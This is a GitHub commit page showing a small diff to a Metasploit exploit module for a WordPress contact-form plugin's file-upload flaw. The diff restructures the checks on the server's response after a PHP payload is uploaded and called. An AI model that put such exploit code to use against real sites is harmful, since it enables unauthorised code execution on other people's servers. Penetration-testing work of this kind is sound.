Skip to content

Commit e6e9c17

Browse files
committed
Rewrote res conditions.
1 parent d11db4e commit e6e9c17

File tree

1 file changed

+8
-4
lines changed

1 file changed

+8
-4
lines changed

modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -57,11 +57,15 @@ def exploit
5757
'data' => post_data
5858
})
5959

60-
if res && res.code == 200 && res.body =~ /files|#{php_pagename}/
61-
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
62-
register_files_for_cleanup(php_pagename)
60+
if res
61+
if res.code == 200 && res.body =~ /files|#{php_pagename}/
62+
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
63+
register_files_for_cleanup(php_pagename)
64+
else
65+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
66+
end
6367
else
64-
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
68+
fail_with('ERROR')
6569
end
6670

6771
print_status("#{peer} - Calling payload...")

0 commit comments

Comments
 (0)